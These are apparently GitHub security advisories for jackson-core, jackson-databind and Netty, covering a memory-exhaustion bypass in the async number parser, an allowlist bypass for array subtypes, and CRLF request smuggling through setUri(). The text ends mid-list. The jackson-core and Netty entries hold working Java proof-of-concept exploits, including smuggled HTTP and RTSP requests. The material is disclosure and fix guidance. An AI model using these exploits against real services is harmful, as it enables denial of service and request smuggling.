Note: _setIntLength itself can't be used as-is because it also assigns _intLength, and _intLength must not be set until the integer is truly complete (subsequent fraction handling reads _intLength). The minimal fix is to call only the validator, as shown.
Apply the same one-line insertion before each return _updateTokenToNA(); that exits with _minorState = MINOR_NUMBER_INTEGER_DIGITS. The sites are listed above (12 lines total).
Alternatively, a heavier refactor: also gate _textBuffer.expandCurrentSegment() calls inside the digit-accumulation loops on outPtr < maxNumberLength so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.
Credit
Reported by tonghuaroot (tonghuaroot@gmail.com). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.18.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:58:53Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: \"ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller\".\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) \u2014 a **~20,000x amplification** of the documented `maxNumberLength` (1000 default).\n\nThis is the same vulnerability class, same advisory wording (\"Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers\"), same parser class \u2014 just the streaming path the original fix didn\u0027t cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path.\n\n## Affected versions\n\nVerified on the patched releases:\n- `com.fasterxml.jackson.core:jackson-core` **2.18.6**\n- `com.fasterxml.jackson.core:jackson-core` **2.21.1**\n\nStructurally identical code in `tools.jackson.core` 3.0.x / 3.1.x \u2014 same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.\n\n## Affected code\n\n[`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1.\n\n### Site 1 \u2014 `_startPositiveNumber(int ch)` lines 1320-1330:\n\n```java\nif (outPtr \u003e= outBuf.length) {\n // NOTE: must expand to ensure contents all in a single buffer (to keep\n // other parts of parsing simpler)\n outBuf = _textBuffer.expandCurrentSegment();\n}\noutBuf[outPtr++] = (char) ch;\nif (++_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // \u003c-- no validateIntegerLength(outPtr)\n}\n```\n\n### Site 2 \u2014 `_finishNumberIntegralPart` lines 1691-1727:\n\n```java\nprotected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n return _updateTokenToNA(); // \u003c-- no validateIntegerLength(outPtr + negMod)\n }\n int ch = getByteFromBuffer(_inputPtr) \u0026 0xFF;\n if (ch \u003c INT_0) {\n if (ch == INT_PERIOD) {\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n if (ch \u003e INT_9) {\n if ((ch | 0x20) == INT_e) {\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n ++_inputPtr;\n return _startFloat(outBuf, outPtr, ch);\n }\n break;\n }\n ++_inputPtr;\n if (outPtr \u003e= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n }\n _setIntLength(outPtr+negMod); // \u003c-- validated here\n _textBuffer.setCurrentLength(outPtr);\n return _valueComplete(JsonToken.VALUE_NUMBER_INT);\n}\n```\n\nThe pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 \u2014 every \"ran out of input mid-integer\" exit returns to the caller without validating the accumulator length.\n\n### Compare with the fraction path that is correct\n\n`_finishFloatFraction` lines 1827-1838:\n\n```java\nwhile (loop) {\n if (ch \u003e= INT_0 \u0026\u0026 ch \u003c= INT_9) {\n ++fractLen;\n if (outPtr \u003e= outBuf.length) {\n outBuf = _textBuffer.expandCurrentSegment();\n }\n outBuf[outPtr++] = (char) ch;\n if (_inputPtr \u003e= _inputEnd) {\n _textBuffer.setCurrentLength(outPtr);\n _setFractLength(fractLen); // \u003c-- VALIDATED\n return JsonToken.NOT_AVAILABLE;\n }\n ch = getNextSignedByteFromBuffer();\n }\n ...\n}\n```\n\n## Impact\n\nReactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.\n\nThe synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected \u2014 those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly.\n\nCWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.\n\n## Proof of concept\n\nStandalone PoC, no Maven required:\n\n```\nmkdir poc \u0026\u0026 cd poc\ncurl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar\ncat \u003e PoC.java \u003c\u003c\u0027EOF\u0027\nimport com.fasterxml.jackson.core.*;\nimport com.fasterxml.jackson.core.async.ByteArrayFeeder;\n\npublic class PoC {\n public static void main(String[] args) throws Exception {\n StreamReadConstraints strict = StreamReadConstraints.builder()\n .maxNumberLength(1000)\n .build();\n JsonFactory f = new JsonFactoryBuilder()\n .streamReadConstraints(strict)\n .build();\n\n // Sanity: synchronous parser rejects 5000-digit int.\n try (JsonParser p = f.createParser(\"{\\\"v\\\":\" + \"1\".repeat(5000) + \"}\")) {\n while (p.nextToken() != null) { /* drive */ }\n System.out.println(\"[-] BUG ABSENT: sync parser accepted\");\n return;\n } catch (Exception e) {\n System.out.println(\"[+] sync parser rejected 5000-digit int: \" + e.getClass().getSimpleName());\n }\n\n // Bug: async parser, chunked, no terminator.\n JsonParser ap = f.createNonBlockingByteArrayParser();\n ByteArrayFeeder feeder = (ByteArrayFeeder) ap;\n\n byte[] preamble = \"{\\\"v\\\":\".getBytes(\"UTF-8\");\n feeder.feedInput(preamble, 0, preamble.length);\n while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }\n\n byte[] digits = new byte[16 * 1024];\n for (int i = 0; i \u003c digits.length; i++) digits[i] = (byte) (\u00271\u0027 + (i % 9));\n\n for (int c = 0; c \u003c 600; c++) {\n feeder.feedInput(digits, 0, digits.length);\n JsonToken t = ap.nextToken();\n if (t != JsonToken.NOT_AVAILABLE) {\n System.out.println(\"[-] unexpected token: \" + t);\n return;\n }\n }\n System.out.println(\"[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\");\n\n // Closing the number now finally triggers the validator.\n feeder.feedInput(\"}\".getBytes(\"UTF-8\"), 0, 1);\n feeder.endOfInput();\n try {\n while (ap.nextToken() != null) { /* drive */ }\n } catch (Exception e) {\n System.out.println(\"[*] late rejection on close: \" + e.getMessage().split(\"\\n\")[0]);\n }\n ap.close();\n }\n}\nEOF\njavac -cp jackson-core-2.18.6.jar PoC.java\njava -Xmx256m -cp jackson-core-2.18.6.jar:. PoC\n```\n\nObserved output against `jackson-core-2.18.6`:\n\n```\n[+] sync parser rejected 5000-digit int: StreamConstraintsException\n[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\n[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)\n```\n\nObserved output against `jackson-core-2.21.1`: identical.\n\nThe 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections.\n\n## End-to-end reproduction through real HTTP\n\nSupplements the standalone PoC with a running Spring Boot WebFlux server,\ndriving the same bug through the actual reactor-netty + Jackson2JsonDecoder\nstreaming-decode path that production reactive endpoints use.\n\nSetup:\n- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)\n- jackson-databind 2.17.2, jackson-core overridden:\n - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published)\n - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch\n- JVM: OpenJDK 17.0.18\n- Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()`\n\nEndpoint under test exposes the `Flux\u003cDataBuffer\u003e` request body directly to\n`Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one\nHTTP chunk per `feedInput` (the same pattern used for any\n`@RequestBody Flux\u003c...\u003e` / streaming JSON decoder in WebFlux). A raw-socket\nHTTP/1.1 chunked client streams `{\"v\":1` then 250 chunks of 200 digit bytes\neach (50,000 digits total) at 20ms intervals, then writes the closing `}`.\n\nVULN \u2014 jackson-core 2.18.7:\n```\n[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting\n[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:\nHTTP/1.1 200 OK\nERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:\n Number value length (50000) exceeds the maximum allowed (1000, ...)\n```\nServer-side controller trace (250 DataBuffer arrivals elided):\n```\n[ctrl] DataBuffer arrived size=6 ms=39 \u003c- \u0027{\"v\":1\u0027\n[ctrl] DataBuffer arrived size=200 ms=42\n...\n[ctrl] DataBuffer arrived size=199 ms=5993\n[ctrl] DataBuffer arrived size=1 ms=6518 \u003c- closing \u0027}\u0027\n[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...\n```\nServer held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with\n`maxNumberLength=1000` declared. The validator never fires during streaming;\nit only fires at value-completion when the closing `}` arrives.\n\nPATCHED \u2014 jackson-core 2.18.8-SNAPSHOT (fix branch):\n```\n[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe\n[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream\n```\nServer-side controller trace:\n```\n[ctrl] DataBuffer arrived size=6 ms=129\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=145\n[ctrl] DataBuffer arrived size=200 ms=146\n[ctrl] DataBuffer arrived size=200 ms=147\n[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)\n```\nPatched server raises `StreamConstraintsException` at 155ms after only 5\nDataBuffers, exactly when the accumulated digit count crosses\n`maxNumberLength=1000`. The connection is reset mid-stream rather than the\nparser silently consuming the rest of the attacker\u0027s payload.\n\nSide-by-side:\n\n| Build | Chunks accepted before exception | Digits buffered | Time to detection |\n|---|---|---|---|\n| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms \u2014 only at terminator |\n| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms \u2014 moment threshold crossed |\n\nNote on the default `@RequestBody Mono\u003cJsonNode\u003e` path: that path cannot\ndistinguish the two builds because Spring\u0027s `decodeToMono` joins all\nDataBuffers into one before parsing. The exploitable shape is the\nstreaming-decode path (`Flux\u003cJsonNode\u003e` / `@RequestBody Flux\u003c...\u003e` /\nWebSocket / SSE / any direct `decoder.decode(Flux\u003cDataBuffer\u003e, ...)` call),\nwhich is also what `Jackson2Tokenizer` uses for any streaming JSON\ndeserialization in WebFlux and Quarkus reactive REST.\n\n## Suggested fix\n\nMirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be:\n\n```diff\n protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr \u003e= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n+ _streamReadConstraints.validateIntegerLength(outPtr + negMod);\n return _updateTokenToNA();\n }\n```\n\nNote: `_setIntLength` itself can\u0027t be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown.\n\nApply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total).\n\nAlternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr \u003c maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.",
"id": "GHSA-r7wm-3cxj-wff9",
"modified": "2026-08-03T20:30:41Z",
"published": "2026-07-21T21:58:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1611"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cd"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)"
}
GHSA-RMJ7-2VXQ-3G9F
Vulnerability from github – Published: 2026-06-23 21:22 – Updated: 2026-08-14 15:32Summary
BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.
Impact
Applications using BasicPolymorphicTypeValidator with allowIfSubTypeIsArray() as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.
Affected / Patched (verified via git tag --contains)
- 2.18 line:
>= 2.10.0, < 2.18.8-> fixed in 2.18.8 - 2.19-2.21 line:
>= 2.19.0, < 2.21.4-> fixed in 2.21.4 - 3.x line:
>= 3.0.0, < 3.1.4-> fixed in 3.1.4
PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.
Severity / CWE
Maintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.
Upstream fix
FasterXML/jackson-databind#5981; fix PR #5983 (24529da), 2.18 backport PR #5984 (01d1692). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.
Credits
Omkhar Arasaratnam (@omkhar) - finder.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.10.0"
},
{
"fixed": "2.18.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54513"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:22:15Z",
"nvd_published_at": "2026-06-23T21:17:02Z",
"severity": "HIGH"
},
"details": "## Summary\n`BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray()` allowlists any array type based only on `clazz.isArray()`, without validating the array\u0027s component (element) type against the configured allowlist. A PTV built with `allowIfSubTypeIsArray()` plus an explicit concrete-type allowlist therefore still permits `EvilType[]` even though `EvilType` is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.\n\n## Impact\nApplications using `BasicPolymorphicTypeValidator` with `allowIfSubTypeIsArray()` as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.\n\n## Affected / Patched (verified via `git tag --contains`)\n- 2.18 line: `\u003e= 2.10.0, \u003c 2.18.8` -\u003e fixed in **2.18.8**\n- 2.19-2.21 line: `\u003e= 2.19.0, \u003c 2.21.4` -\u003e fixed in **2.21.4**\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4**\n\n`PolymorphicTypeValidator` was added in 2.10.0 so vulnerability N/A for versions prior to that.\n\n## Severity / CWE\nMaintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.\n\n## Upstream fix\nFasterXML/jackson-databind#5981; fix PR #5983 (`24529da`), 2.18 backport PR #5984 (`01d1692`). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.",
"id": "GHSA-rmj7-2vxq-3g9f",
"modified": "2026-08-14T15:32:43Z",
"published": "2026-06-23T21:22:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-rmj7-2vxq-3g9f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54513"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/5983"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/5981"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/5984"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/24529da29fdf46ff94ca38de9ebf31cd188f5e8e"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/01d1692c8d0ed03e51a0e3c4f8a9e6908e4931e5"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54513.json"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492010"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-54513"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:54622"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:54435"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50849"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50848"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50847"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50846"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:48151"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:48095"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44271"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44066"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44065"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44064"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44063"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44062"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:44061"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:43400"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:43218"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:41951"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:40895"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36839"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind has an array subtype allowlist bypass in BasicPolymorphicTypeValidator (allowIfSubTypeIsArray)"
}
GHSA-V8H7-RR48-VMMV
Vulnerability from github – Published: 2026-05-05 18:27 – Updated: 2026-05-08 19:32Summary
Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri().
The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests.
In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.
Details
The root issue is that URI validation exists only on the constructor path, but not on the public setter path.
io.netty.handler.codec.http.DefaultHttpRequest- The constructor calls
HttpUtil.validateRequestLineTokens(method, uri) setUri(String uri)only performscheckNotNulland does not validateio.netty.handler.codec.http.DefaultFullHttpRequestsetUri(String uri)delegates to the parent implementationio.netty.handler.codec.http.HttpRequestEncoder- Writes
request.uri()directly into the request line io.netty.handler.codec.rtsp.RtspEncoder- Writes
request.uri()directly into the request line
This creates the following bypass:
- An application creates a
DefaultHttpRequestorDefaultFullHttpRequestwith a safe URI - Later, attacker-influenced input is passed into
setUri() HttpRequestEncoderorRtspEncoderencodes that value verbatim- The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests
This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.
PoC (HTTP)
The following code first creates a normal request object and then injects a malicious request line using setUri().
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.http.HttpMethod;
import io.netty.handler.codec.http.HttpRequestEncoder;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.util.CharsetUtil;
public final class HttpSetUriSmugglePoc {
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());
EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe");
request.setUri("/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1");
client.writeOutbound(request);
ByteBuf outbound = client.readOutbound();
System.out.println("=== Raw encoded request ===");
System.out.println(outbound.toString(CharsetUtil.US_ASCII));
System.out.println("=== Decoded by HttpServerCodec ===");
server.writeInbound(outbound.retainedDuplicate());
Object msg;
while ((msg = server.readInbound()) != null) {
System.out.println(msg);
}
outbound.release();
client.finishAndReleaseAll();
server.finishAndReleaseAll();
}
}
When reproduced, the raw encoded request looks like this:
GET /s1 HTTP/1.1
POST /s2 HTTP/1.1
content-length: 11
Hello WorldGET /s1 HTTP/1.1
HttpServerCodec then parses this as multiple HTTP messages rather than a single request:
GET /s1POST /s2with bodyHello World- trailing
GET /s1
This confirms that the value supplied through setUri() is interpreted on the wire as additional requests.
PoC (RTSP)
The same root cause also affects RtspEncoder. A minimal reproduction is shown below.
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.rtsp.RtspDecoder;
import io.netty.handler.codec.rtsp.RtspEncoder;
import io.netty.handler.codec.rtsp.RtspMethods;
import io.netty.handler.codec.rtsp.RtspVersions;
import io.netty.util.CharsetUtil;
public final class RtspSetUriSmugglePoc {
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());
EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());
DefaultHttpRequest request = new DefaultHttpRequest(
RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media");
request.setUri("rtsp://cam/stream RTSP/1.0\r\n" +
"CSeq: 1\r\n\r\n" +
"DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" +
"CSeq: 2\r\n\r\n" +
"OPTIONS rtsp://cam/final");
client.writeOutbound(request);
ByteBuf outbound = client.readOutbound();
System.out.println("=== Raw encoded RTSP request ===");
System.out.println(outbound.toString(CharsetUtil.US_ASCII));
System.out.println("=== Decoded by RtspDecoder ===");
server.writeInbound(outbound.retainedDuplicate());
}
}
When reproduced, RtspEncoder generates consecutive RTSP requests in a single encoded payload:
OPTIONS rtsp://cam/stream RTSP/1.0
CSeq: 1
DESCRIBE rtsp://cam/secret RTSP/1.0
CSeq: 2
OPTIONS rtsp://cam/final RTSP/1.0
RtspDecoder then parses this as three separate RTSP requests:
OPTIONS rtsp://cam/streamDESCRIBE rtsp://cam/secretOPTIONS rtsp://cam/final
This confirms that the same setter bypass is exploitable for RTSP request injection as well.
Impact
The vulnerable conditions are:
- The application uses
DefaultHttpRequestorDefaultFullHttpRequest - The request object is created first and later modified through
setUri() - The value passed into
setUri()is attacker-controlled or attacker-influenced - The object is eventually serialized by
HttpRequestEncoderorRtspEncoder
Under those conditions, an attacker may be able to:
- perform HTTP request smuggling
- trigger proxy/backend desynchronization
- inject additional requests toward internal APIs
- confuse request boundaries and bypass assumptions around authentication or routing
- inject RTSP requests
The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.
Root Cause
Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.
As a result, the constructors are safe while the public setUri() path is not, and the encoders trust and serialize the mutated value without revalidation.
Suggested Fix Direction
DefaultHttpRequest.setUri() and all delegating/inheriting paths should apply the same request-line token validation as the constructors.
Recommended regression coverage:
- verify that
setUri()rejects CRLF-containing input after object construction - verify that
DefaultFullHttpRequest.setUri()is blocked as well - verify that spaces,
